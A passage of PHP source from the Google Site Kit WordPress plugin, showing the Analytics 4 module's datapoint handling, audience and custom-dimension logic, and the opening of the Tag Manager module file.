( ! isset( $data['customDimension'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'customDimension' ), array( 'status' => 400 ) ); } if ( ! $this->custom_dimensions_data_available->is_valid_custom_dimension( $data['customDimension'] ) ) { return new WP_Error( 'invalid_custom_dimension_slug', /* translators: %s: Invalid custom dimension slug */ sprintf( __( 'Invalid custom dimension slug: %s.', 'google-site-kit' ), $data['customDimension'] ), array( 'status' => 400 ) ); } return function () use ( $data ) { return $this->custom_dimensions_data_available->set_data_available( $data['customDimension'] ); }; case 'POST:save-resource-data-availability-date': if ( ! isset( $data['resourceType'] ) ) { throw new Missing_Required_Param_Exception( 'resourceType' ); } if ( ! isset( $data['resourceSlug'] ) ) { throw new Missing_Required_Param_Exception( 'resourceSlug' ); } if ( ! isset( $data['date'] ) ) { throw new Missing_Required_Param_Exception( 'date' ); } if ( ! $this->resource_data_availability_date->is_valid_resource_type( $data['resourceType'] ) ) { throw new Invalid_Param_Exception( 'resourceType' ); } if ( ! $this->resource_data_availability_date->is_valid_resource_slug( $data['resourceSlug'], $data['resourceType'] ) ) { throw new Invalid_Param_Exception( 'resourceSlug' ); } if ( ! is_int( $data['date'] ) ) { throw new Invalid_Param_Exception( 'date' ); } return function () use ( $data ) { return $this->resource_data_availability_date->set_resource_date( $data['resourceSlug'], $data['resourceType'], $data['date'] ); }; case 'GET:webdatastreams': if ( ! isset( $data['propertyID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'propertyID' ), array( 'status' => 400 ) ); } $analyticsadmin = $this->get_service( 'analyticsadmin' ); return $analyticsadmin ->properties_dataStreams // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->listPropertiesDataStreams( self::normalize_property_id( $data['propertyID'] ) ); case 'GET:webdatastreams-batch': if ( ! isset( $data['propertyIDs'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'propertyIDs' ), array( 'status' => 400 ) ); } if ( ! is_array( $data['propertyIDs'] ) || count( $data['propertyIDs'] ) > 10 ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: List of invalid parameters. */ sprintf( __( 'Invalid parameter(s): %s', 'google-site-kit' ), 'propertyIDs' ), array( 'status' => 400 ) ); } $analyticsadmin = $this->get_service( 'analyticsadmin' ); $batch_request = $analyticsadmin->createBatch(); foreach ( $data['propertyIDs'] as $property_id ) { $batch_request->add( $analyticsadmin ->properties_dataStreams // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->listPropertiesDataStreams( self::normalize_property_id( $property_id ) ) ); } return function () use ( $batch_request ) { return $batch_request->execute(); }; case 'GET:container-lookup': if ( ! isset( $data['destinationID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'destinationID' ), array( 'status' => 400 ) ); } return $this->get_tagmanager_service()->accounts_containers->lookup( array( 'destinationId' => $data['destinationID'] ) ); case 'GET:container-destinations': if ( ! isset( $data['accountID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } if ( ! isset( $data['containerID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'containerID' ), array( 'status' => 400 ) ); } return $this->get_tagmanager_service()->accounts_containers_destinations->listAccountsContainersDestinations( "accounts/{$data['accountID']}/containers/{$data['containerID']}" ); case 'GET:google-tag-settings': if ( ! isset( $data['measurementID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'measurementID' ), array( 'status' => 400 ) ); } return $this->get_tagmanager_service()->accounts_containers->lookup( array( 'destinationId' => $data['measurementID'] ) ); case 'GET:key-events': $settings = $this->get_settings()->get(); if ( empty( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } $analyticsadmin = $this->get_service( 'analyticsadmin' ); $property_id = self::normalize_property_id( $settings['propertyID'] ); return $analyticsadmin ->properties_keyEvents // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->listPropertiesKeyEvents( $property_id ); case 'POST:set-google-tag-id-mismatch': if ( ! isset( $data['hasMismatchedTag'] ) ) { throw new Missing_Required_Param_Exception( 'hasMismatchedTag' ); } if ( false === $data['hasMismatchedTag'] ) { return function () { $this->transients->delete( 'googlesitekit_inline_tag_id_mismatch' ); return false; }; } return function () use ( $data ) { $this->transients->set( 'googlesitekit_inline_tag_id_mismatch', $data['hasMismatchedTag'] ); return $data['hasMismatchedTag']; }; case 'POST:set-is-web-data-stream-unavailable': if ( ! isset( $data['isWebDataStreamUnavailable'] ) ) { throw new Missing_Required_Param_Exception( 'isWebDataStreamUnavailable' ); } if ( true === $data['isWebDataStreamUnavailable'] ) { return function () { $settings = $this->get_settings()->get(); $transient_key = 'googlesitekit_web_data_stream_unavailable_' . $settings['webDataStreamID']; $this->transients->set( $transient_key, true ); return true; }; } return function () { $settings = $this->get_settings()->get(); $transient_key = 'googlesitekit_web_data_stream_unavailable_' . $settings['webDataStreamID']; $this->transients->delete( $transient_key ); return false; }; } return parent::create_data_request( $data ); } /** * Parses a response for the given datapoint. * * @since 1.30.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:accounts': return array_map( array( self::class, 'filter_account_with_ids' ), $response->getAccounts() ); case 'GET:ads-links': return (array) $response->getGoogleAdsLinks(); case 'GET:adsense-links': return (array) $response->getAdsenseLinks(); case 'GET:properties': return Sort::case_insensitive_list_sort( array_map( array( self::class, 'filter_property_with_ids' ), $response->getProperties() ), 'displayName' ); case 'GET:property': return self::filter_property_with_ids( $response ); case 'GET:webdatastreams': /* @var GoogleAnalyticsAdminV1betaListDataStreamsResponse $response phpcs:ignore Squiz.PHP.CommentedOutCode.Found */ $webdatastreams = self::filter_web_datastreams( $response->getDataStreams() ); return array_map( array( self::class, 'filter_webdatastream_with_ids' ), $webdatastreams ); case 'GET:webdatastreams-batch': return self::parse_webdatastreams_batch( $response ); case 'GET:container-destinations': return (array) $response->getDestination(); case 'GET:google-tag-settings': return $this->get_google_tag_settings_for_measurement_id( $response, $data['measurementID'] ); case 'GET:key-events': return (array) $response->getKeyEvents(); case 'GET:report': $report = new Analytics_4_Report_Response( $this->context ); return $report->parse_response( $data, $response ); case 'POST:sync-audiences': $audiences = $this->set_available_audiences( $response->getAudiences() ); return $audiences; case 'POST:sync-custom-dimensions': if ( is_wp_error( $response ) ) { return $response; } $custom_dimensions = wp_list_pluck( $response->getCustomDimensions(), 'parameterName' ); $matching_dimensions = array_values( array_filter( $custom_dimensions, function ( $dimension ) { return strpos( $dimension, 'googlesitekit_' ) === 0; } ) ); $this->get_settings()->merge( array( 'availableCustomDimensions' => $matching_dimensions, ) ); // Reset the data available state for custom dimensions that are no longer available. $missing_custom_dimensions_with_data_available = array_diff( array_keys( // Only compare against custom dimensions that have data available. array_filter( $this->custom_dimensions_data_available->get_data_availability() ) ), $matching_dimensions ); if ( count( $missing_custom_dimensions_with_data_available ) > 0 ) { $this->custom_dimensions_data_available->reset_data_available( $missing_custom_dimensions_with_data_available ); } return $matching_dimensions; } return parent::parse_data_response( $data, $response ); } /** * Gets the configured TagManager service instance. * * @since 1.92.0 * * @return Google_Service_TagManager instance. * @throws Exception Thrown if the module did not correctly set up the service. */ private function get_tagmanager_service() { return $this->get_service( 'tagmanager' ); } /** * Sets up information about the module. * * @since 1.30.0 * @since 1.123.0 Updated to include in the module setup. * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => self::MODULE_SLUG, 'name' => _x( 'Analytics', 'Service name', 'google-site-kit' ), 'description' => __( 'Get a deeper understanding of your customers. Google Analytics gives you the free tools you need to analyze data for your business in one place.', 'google-site-kit' ), 'homepage' => __( 'https://analytics.google.com/analytics/web', 'google-site-kit' ), ); } /** * Gets the configured Analytics Data service object instance. * * @since 1.93.0 * * @return Google_Service_AnalyticsData The Analytics Data API service. */ protected function get_analyticsdata_service() { return $this->get_service( 'analyticsdata' ); } /** * Gets the configured Analytics Data service object instance. * * @since 1.110.0 * * @return PropertiesEnhancedMeasurementService The Analytics Admin API service. */ protected function get_analyticsenhancedmeasurements_service() { return $this->get_service( 'analyticsenhancedmeasurement' ); } /** * Gets the configured Analytics Admin service object instance that includes `adSenseLinks` related methods. * * @since 1.120.0 * * @return PropertiesAdSenseLinksService The Analytics Admin API service. */ protected function get_analyticsadsenselinks_service() { return $this->get_service( 'analyticsadsenselinks' ); } /** * Gets the configured Analytics Data service object instance. * * @since 1.120.0 * * @return PropertiesAudiencesService The Analytics Admin API service. */ protected function get_analyticsaudiences_service() { return $this->get_service( 'analyticsaudiences' ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.30.0 * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) { $google_proxy = $this->authentication->get_google_proxy(); return array( 'analyticsadmin' => new Google_Service_GoogleAnalyticsAdmin( $client ), 'analyticsdata' => new Google_Service_AnalyticsData( $client ), 'analyticsprovisioning' => new AccountProvisioningService( $client, $google_proxy->url() ), 'analyticsenhancedmeasurement' => new PropertiesEnhancedMeasurementService( $client ), 'analyticsaudiences' => new PropertiesAudiencesService( $client ), 'analyticsadsenselinks' => new PropertiesAdSenseLinksService( $client ), 'tagmanager' => new Google_Service_TagManager( $client ), ); } /** * Sets up the module's settings instance. * * @since 1.30.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Sets up the module's assets to register. * * @since 1.31.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); return array( new Script( 'googlesitekit-modules-analytics-4', array( 'src' => $base_url . 'js/googlesitekit-modules-analytics-4.js', 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-modules', 'googlesitekit-notifications', 'googlesitekit-datastore-site', 'googlesitekit-datastore-user', 'googlesitekit-datastore-forms', 'googlesitekit-components', 'googlesitekit-modules-data', ), ) ), ); } /** * Gets the provisioning redirect URI that listens for the Terms of Service redirect. * * @since 1.98.0 * * @return string Provisioning redirect URI. */ private function get_provisioning_redirect_uri() { return $this->authentication->get_google_proxy() ->get_site_fields()['analytics_redirect_uri']; } /** * Registers the Analytics 4 tag. * * @since 1.31.0 * @since 1.104.0 Added support for AMP tag. * @since 1.119.0 Made method public. */ public function register_tag() { $tag = $this->context->is_amp() ? new AMP_Tag( $this->get_measurement_id(), self::MODULE_SLUG ) // AMP currently only works with the measurement ID. : new Web_Tag( $this->get_tag_id(), self::MODULE_SLUG ); if ( $tag->is_tag_blocked() ) { return; } $tag->use_guard( new Tag_Verify_Guard( $this->context->input() ) ); $tag->use_guard( new Tag_Guard( $this->get_settings() ) ); $tag->use_guard( new Tag_Environment_Type_Guard() ); if ( ! $tag->can_register() ) { return; } $home_domain = URL::parse( $this->context->get_canonical_home_url(), PHP_URL_HOST ); $tag->set_home_domain( $home_domain ); $custom_dimensions_data = $this->get_custom_dimensions_data(); if ( ! empty( $custom_dimensions_data ) && $tag instanceof Tag_Interface ) { $tag->set_custom_dimensions( $custom_dimensions_data ); } $tag->register(); } /** * Returns the Module_Tag_Matchers instance. * * @since 1.119.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers() { return new Tag_Matchers(); } /** * Gets custom dimensions data based on available custom dimensions. * * @since 1.113.0 * * @return array An associated array of custom dimensions data. */ private function get_custom_dimensions_data() { if ( ! is_singular() ) { return array(); } $settings = $this->get_settings()->get(); if ( empty( $settings['availableCustomDimensions'] ) ) { return array(); } /** * Filters the allowed post types for custom dimensions tracking. * * @since 1.113.0 * * @param array $allowed_post_types The array of allowed post types. */ $allowed_post_types = apply_filters( 'googlesitekit_custom_dimension_valid_post_types', array( 'post' ) ); $data = array(); $post = get_queried_object(); if ( ! $post instanceof WP_Post ) { return $data; } if ( in_array( 'googlesitekit_post_type', $settings['availableCustomDimensions'], true ) ) { $data['googlesitekit_post_type'] = $post->post_type; } if ( is_singular( $allowed_post_types ) ) { foreach ( $settings['availableCustomDimensions'] as $custom_dimension ) { switch ( $custom_dimension ) { case 'googlesitekit_post_author': $author = get_userdata( $post->post_author ); if ( $author ) { $data[ $custom_dimension ] = $author->display_name ? $author->display_name : $author->user_login; } break; case 'googlesitekit_post_categories': $categories = get_the_category( $post->ID ); if ( ! empty( $categories ) ) { $category_names = wp_list_pluck( $categories, 'name' ); $data[ $custom_dimension ] = implode( '; ', $category_names ); } break; case 'googlesitekit_post_date': $data[ $custom_dimension ] = get_the_date( 'Ymd', $post ); break; } } } return $data; } /** * Parses account ID, adds it to the model object and returns updated model. * * @since 1.31.0 * * @param Google_Model $account Account model. * @param string $id_key Attribute name that contains account id. * @return stdClass Updated model with _id attribute. */ public static function filter_account_with_ids( $account, $id_key = 'name' ) { $obj = $account->toSimpleObject(); $matches = array(); if ( preg_match( '#accounts/([^/]+)#', $account[ $id_key ], $matches ) ) { $obj->_id = $matches[1]; } return $obj; } /** * Parses account and property IDs, adds it to the model object and returns updated model. * * @since 1.31.0 * * @param Google_Model $property Property model. * @param string $id_key Attribute name that contains property id. * @return stdClass Updated model with _id and _accountID attributes. */ public static function filter_property_with_ids( $property, $id_key = 'name' ) { $obj = $property->toSimpleObject(); $matches = array(); if ( preg_match( '#properties/([^/]+)#', $property[ $id_key ] ?? '', $matches ) ) { $obj->_id = $matches[1]; } $matches = array(); if ( preg_match( '#accounts/([^/]+)#', $property['parent'] ?? '', $matches ) ) { $obj->_accountID = $matches[1]; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase } return $obj; } /** * Parses property and web datastream IDs, adds it to the model object and returns updated model. * * @since 1.31.0 * * @param Google_Model $webdatastream Web datastream model. * @return stdClass Updated model with _id and _propertyID attributes. */ public static function filter_webdatastream_with_ids( $webdatastream ) { $obj = $webdatastream->toSimpleObject(); $matches = array(); if ( preg_match( '#properties/([^/]+)/dataStreams/([^/]+)#', $webdatastream['name'], $matches ) ) { $obj->_id = $matches[2]; $obj->_propertyID = $matches[1]; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase } return $obj; } /** * Filters a list of data stream objects and returns only web data streams. * * @since 1.49.1 * * @param GoogleAnalyticsAdminV1betaDataStream[] $datastreams Data streams to filter. * @return GoogleAnalyticsAdminV1betaDataStream[] Web data streams. */ public static function filter_web_datastreams( array $datastreams ) { return array_filter( $datastreams, function ( GoogleAnalyticsAdminV1betaDataStream $datastream ) { return $datastream->getType() === 'WEB_DATA_STREAM'; } ); } /** * Parses a response, adding the _id and _propertyID params and converting to an array keyed by the propertyID and web datastream IDs. * * @since 1.39.0 * * @param GoogleAnalyticsAdminV1betaListDataStreamsResponse[] $batch_response Array of GoogleAnalyticsAdminV1betaListWebDataStreamsResponse objects. * @return stdClass[] Array of models containing _id and _propertyID attributes, keyed by the propertyID. */ public static function parse_webdatastreams_batch( $batch_response ) { $mapped = array(); foreach ( $batch_response as $response ) { if ( $response instanceof Exception ) { continue; } $webdatastreams = self::filter_web_datastreams( $response->getDataStreams() ); foreach ( $webdatastreams as $webdatastream ) { $value = self::filter_webdatastream_with_ids( $webdatastream ); $key = $value->_propertyID; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $mapped[ $key ] = isset( $mapped[ $key ] ) ? $mapped[ $key ] : array(); $mapped[ $key ][] = $value; } } return $mapped; } /** * Normalizes account ID and returns it. * * @since 1.31.0 * * @param string $account_id Account ID. * @return string Updated account ID with "accounts/" prefix. */ public static function normalize_account_id( $account_id ) { return 'accounts/' . $account_id; } /** * Normalizes property ID and returns it. * * @since 1.31.0 * * @param string $property_id Property ID. * @return string Updated property ID with "properties/" prefix. */ public static function normalize_property_id( $property_id ) { return 'properties/' . $property_id; } /** * Checks if the current user has access to the current configured service entity. * * @since 1.70.0 * * @return boolean|WP_Error */ public function check_service_entity_access() { $settings = $this->get_settings()->get(); if ( empty( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } return $this->has_property_access( $settings['propertyID'] ); } /** * Checks if the current user has access to the given property ID. * * @since 1.163.0 * * @param string $property_id Property ID to check access for. * @return boolean|WP_Error True if the user has access, false if not, or WP_Error on any other error. */ public function has_property_access( $property_id ) { $request = $this->get_data( 'has-property-access', array( 'propertyID' => $property_id ) ); if ( is_wp_error( $request ) ) { // A 403 error implies that the user does not have access to the service entity. if ( $request->get_error_code() === 403 ) { return false; } return $request; } return true; } /** * Gets the Google Tag Settings for the given measurement ID. * * @since 1.94.0 * * @param Google_Service_TagManager_Container $container Tag Manager container. * @param string $measurement_id Measurement ID. * @return array Google Tag Settings. */ protected function get_google_tag_settings_for_measurement_id( $container, $measurement_id ) { return array( 'googleTagAccountID' => $container->getAccountId(), 'googleTagContainerID' => $container->getContainerId(), 'googleTagID' => $this->determine_google_tag_id_from_tag_ids( $container->getTagIds(), $measurement_id ), ); } /** * Determines Google Tag ID from the given Tag IDs. * * @since 1.94.0 * * @param array $tag_ids Tag IDs. * @param string $measurement_id Measurement ID. * @return string Google Tag ID. */ private function determine_google_tag_id_from_tag_ids( $tag_ids, $measurement_id ) { // If there is only one tag id in the array, return it. if ( count( $tag_ids ) === 1 ) { return $tag_ids[0]; } // If there are multiple tags, return the first one that starts with `GT-`. foreach ( $tag_ids as $tag_id ) { if ( substr( $tag_id, 0, 3 ) === 'GT-' ) { // strlen( 'GT-' ) === 3. return $tag_id; } } // Otherwise, return the `$measurement_id` if it is in the array. if ( in_array( $measurement_id, $tag_ids, true ) ) { return $measurement_id; } // Otherwise, return the first one that starts with `G-`. foreach ( $tag_ids as $tag_id ) { if ( substr( $tag_id, 0, 2 ) === 'G-' ) { // strlen( 'G-' ) === 2. return $tag_id; } } // If none of the above, return the first one. return $tag_ids[0]; } /** * Gets the Google Analytics 4 tag ID. * * @since 1.96.0 * * @return string Google Analytics 4 tag ID. */ private function get_tag_id() { $settings = $this->get_settings()->get(); if ( ! empty( $settings['googleTagID'] ) ) { return $settings['googleTagID']; } return $settings['measurementID']; } /** * Gets the currently configured measurement ID. * * @since 1.104.0 * * @return string Google Analytics 4 measurement ID. */ protected function get_measurement_id() { $settings = $this->get_settings()->get(); return $settings['measurementID']; } /** * Populates custom dimension data to pass to JS via _googlesitekitModulesData. * * @since 1.113.0 * @since 1.158.0 Renamed method to `get_inline_custom_dimensions_data()`, and modified it to return a new array rather than populating a passed filter value. * * @return array Inline modules data. */ private function get_inline_custom_dimensions_data() { if ( $this->is_connected() ) { return array( 'customDimensionsDataAvailable' => $this->custom_dimensions_data_available->get_data_availability(), ); } } /** * Populates tag ID mismatch value to pass to JS via _googlesitekitModulesData. * * @since 1.130.0 * @since 1.158.0 Renamed method to `get_inline_tag_id_mismatch()`, and modified it to return a new array rather than populating a passed filter value. * * @return array Inline modules data. */ private function get_inline_tag_id_mismatch() { if ( $this->is_connected() ) { $tag_id_mismatch = $this->transients->get( 'googlesitekit_inline_tag_id_mismatch' ); return array( 'tagIDMismatch' => $tag_id_mismatch, ); } return array(); } /** * Populates resource availability dates data to pass to JS via _googlesitekitModulesData. * * @since 1.127.0 * @since 1.158.0 Renamed method to `get_inline_resource_availability_dates_data()`, and modified it to return a new array rather than populating a passed filter value. * * @return array Inline modules data. */ private function get_inline_resource_availability_dates_data() { if ( $this->is_connected() ) { return array( 'resourceAvailabilityDates' => $this->resource_data_availability_date->get_all_resource_dates(), ); } return array(); } /** * Filters whether or not the option to exclude certain users from tracking should be displayed. * * If the Analytics-4 module is enabled, and the snippet is enabled, then the option to exclude * the option to exclude certain users from tracking should be displayed. * * @since 1.101.0 * * @param bool $allowed Whether to allow tracking exclusion. * @return bool Filtered value. */ private function filter_analytics_allow_tracking_disabled( $allowed ) { if ( $allowed ) { return $allowed; } if ( $this->get_settings()->get()['useSnippet'] ) { return true; } return $allowed; } /** * Sets and returns available audiences. * * @since 1.126.0 * * @param GoogleAnalyticsAdminV1alphaAudience[] $audiences The audiences to set. * @return array The available audiences. */ private function set_available_audiences( $audiences ) { $available_audiences = array_map( function ( GoogleAnalyticsAdminV1alphaAudience $audience ) { $display_name = $audience->getDisplayName(); $audience_item = array( 'name' => $audience->getName(), 'displayName' => ( 'All Users' === $display_name ) ? 'All visitors' : $display_name, 'description' => $audience->getDescription(), ); $audience_slug = $this->get_audience_slug( $audience ); $audience_type = $this->get_audience_type( $audience_slug ); $audience_item['audienceType'] = $audience_type; $audience_item['audienceSlug'] = $audience_slug; return $audience_item; }, $audiences ); usort( $available_audiences, function ( $audience_a, $audience_b ) use ( $available_audiences ) { $audience_index_a = array_search( $audience_a, $available_audiences, true ); $audience_index_b = array_search( $audience_b, $available_audiences, true ); if ( false === $audience_index_a || false === $audience_index_b ) { return 0; } $audience_a = $available_audiences[ $audience_index_a ]; $audience_b = $available_audiences[ $audience_index_b ]; $audience_type_a = $audience_a['audienceType']; $audience_type_b = $audience_b['audienceType']; if ( $audience_type_a === $audience_type_b ) { if ( 'SITE_KIT_AUDIENCE' === $audience_type_b ) { return 'new-visitors' === $audience_a['audienceSlug'] ? -1 : 1; } return $audience_index_a - $audience_index_b; } $weight_a = self::AUDIENCE_TYPE_SORT_ORDER[ $audience_type_a ]; $weight_b = self::AUDIENCE_TYPE_SORT_ORDER[ $audience_type_b ]; if ( $weight_a === $weight_b ) { return $audience_index_a - $audience_index_b; } return $weight_a - $weight_b; } ); $this->audience_settings->merge( array( 'availableAudiences' => $available_audiences, 'availableAudiencesLastSyncedAt' => time(), ) ); return $available_audiences; } /** * Gets the audience slug. * * @since 1.126.0 * * @param GoogleAnalyticsAdminV1alphaAudience $audience The audience object. * @return string The audience slug. */ private function get_audience_slug( GoogleAnalyticsAdminV1alphaAudience $audience ) { $display_name = $audience->getDisplayName(); if ( 'All Users' === $display_name ) { return 'all-users'; } if ( 'Purchasers' === $display_name ) { return 'purchasers'; } $filter_clauses = $audience->getFilterClauses(); if ( $filter_clauses ) { if ( $this->has_audience_site_kit_identifier( $filter_clauses, 'new_visitors' ) ) { return 'new-visitors'; } if ( $this->has_audience_site_kit_identifier( $filter_clauses, 'returning_visitors' ) ) { return 'returning-visitors'; } } // Return an empty string for user defined audiences. return ''; } /** * Gets the audience type based on the audience slug. * * @since 1.126.0 * * @param string $audience_slug The audience slug. * @return string The audience type. */ private function get_audience_type( $audience_slug ) { if ( ! $audience_slug ) { return 'USER_AUDIENCE'; } switch ( $audience_slug ) { case 'all-users': case 'purchasers': return 'DEFAULT_AUDIENCE'; case 'new-visitors': case 'returning-visitors': return 'SITE_KIT_AUDIENCE'; } } /** * Checks if an audience Site Kit identifier * (e.g. `created_by_googlesitekit:new_visitors`) exists in a nested array or object. * * @since 1.126.0 * * @param array|object $data The array or object to search. * @param mixed $identifier The identifier to search for. * @return bool True if the value exists, false otherwise. */ private function has_audience_site_kit_identifier( $data, $identifier ) { if ( is_array( $data ) || is_object( $data ) ) { foreach ( $data as $key => $value ) { if ( is_array( $value ) || is_object( $value ) ) { // Recursively search the nested structure. if ( $this->has_audience_site_kit_identifier( $value, $identifier ) ) { return true; } } elseif ( 'fieldName' === $key && 'groupId' === $value && isset( $data['stringFilter'] ) && "created_by_googlesitekit:{$identifier}" === $data['stringFilter']['value'] ) { return true; } } } return false; } /** * Returns the Site Kit-created audience display names from the passed list of audiences. * * @since 1.129.0 * * @param array $audiences List of audiences. * * @return array List of Site Kit-created audience display names. */ private function get_site_kit_audiences( $audiences ) { // Ensure that audiences are available, otherwise return an empty array. if ( empty( $audiences ) || ! is_array( $audiences ) ) { return array(); } $site_kit_audiences = array_filter( $audiences, fn ( $audience ) => ! empty( $audience['audienceType'] ) && ( 'SITE_KIT_AUDIENCE' === $audience['audienceType'] ) ); if ( empty( $site_kit_audiences ) ) { return array(); } return wp_list_pluck( $site_kit_audiences, 'displayName' ); } /** * Populates conversion reporting event data to pass to JS via _googlesitekitModulesData. * * @since 1.139.0 * @since 1.158.0 Renamed method to `get_inline_conversion_reporting_events_detection()`, and modified it to return a new array rather than populating a passed filter value. * * @return array Inline modules data. */ private function get_inline_conversion_reporting_events_detection() { if ( ! $this->is_connected() ) { return array(); } $detected_events = $this->transients->get( Conversion_Reporting_Events_Sync::DETECTED_EVENTS_TRANSIENT ); $lost_events = $this->transients->get( Conversion_Reporting_Events_Sync::LOST_EVENTS_TRANSIENT ); $new_events_badge = $this->transients->get( Conversion_Reporting_New_Badge_Events_Sync::NEW_EVENTS_BADGE_TRANSIENT ); return array( 'newEvents' => is_array( $detected_events ) ? $detected_events : array(), 'lostEvents' => is_array( $lost_events ) ? $lost_events : array(), 'newBadgeEvents' => is_array( $new_events_badge ) ? $new_events_badge['events'] : array(), ); } /** * Refines the requested scopes based on the current authentication and connection state. * * Specifically, the `EDIT_SCOPE` is only added if the user is not yet authenticated, * or if they are authenticated and have already granted the scope, or if the module * is not yet connected (i.e. during setup). * * @since 1.163.0 * * @param string[] $scopes Array of requested scopes. * @return string[] Refined array of requested scopes. */ private function get_refined_scopes( $scopes = array() ) { if ( ! Feature_Flags::enabled( 'setupFlowRefresh' ) ) { return $scopes; } if ( ! $this->authentication->is_authenticated() ) { $scopes[] = self::EDIT_SCOPE; return $scopes; } $oauth_client = $this->authentication->get_oauth_client(); $granted_scopes = $oauth_client->get_granted_scopes(); $is_in_setup_process = ! $this->is_connected(); if ( in_array( self::EDIT_SCOPE, $granted_scopes, true ) || $is_in_setup_process ) { $scopes[] = self::EDIT_SCOPE; } return $scopes; } /** * Gets required inline data for the module. * * @since 1.158.0 * @since 1.160.0 Include $modules_data parameter to match the interface. * * @param array $modules_data Inline modules data. * @return array An array of the module's inline data. */ public function get_inline_data( $modules_data ) { if ( ! $this->is_connected() ) { return $modules_data; } $inline_data = array(); // Web data stream availability data. $settings = $this->get_settings()->get(); $transient_key = 'googlesitekit_web_data_stream_unavailable_' . $settings['webDataStreamID']; $is_web_data_stream_unavailable = $this->transients->get( $transient_key ); $inline_data['isWebDataStreamUnavailable'] = (bool) $is_web_data_stream_unavailable; $inline_data = array_merge( $inline_data, $this->get_inline_custom_dimensions_data(), $this->get_inline_tag_id_mismatch(), $this->get_inline_resource_availability_dates_data(), $this->get_inline_conversion_reporting_events_detection() ); $modules_data[ self::MODULE_SLUG ] = $inline_data; return $modules_data; } } <?php /** * Class Google\Site_Kit\Modules\Tag_Manager * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Exception; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Asset; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Owner; use Google\Site_Kit\Core\Modules\Module_With_Owner_Trait; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\Modules\Module_With_Service_Entity; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Tag; use Google\Site_Kit\Core\Modules\Module_With_Tag_Trait; use Google\Site_Kit\Core\Modules\Tag_Manager\Tag_Matchers; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\Tags\Guards\Tag_Environment_Type_Guard; use Google\Site_Kit\Core\Tags\Guards\Tag_Verify_Guard; use Google\Site_Kit\Core\Site_Health\Debug_Data; use Google\Site_Kit\Core\Tags\Google_Tag_Gateway\Google_Tag_Gateway_Settings; use Google\Site_Kit\Core\Util\Feature_Flags; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Util\Sort; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\Tag_Manager\AMP_Tag; use Google\Site_Kit\Modules\Tag_Manager\Settings; use Google\Site_Kit\Modules\Tag_Manager\Tag_Guard; use Google\Site_Kit\Modules\Tag_Manager\Web_Tag; use Google\Site_Kit_Dependencies\Google\Service\TagManager as Google_Service_TagManager; use Google\Site_Kit_Dependencies\Google\Service\TagManager\Container as 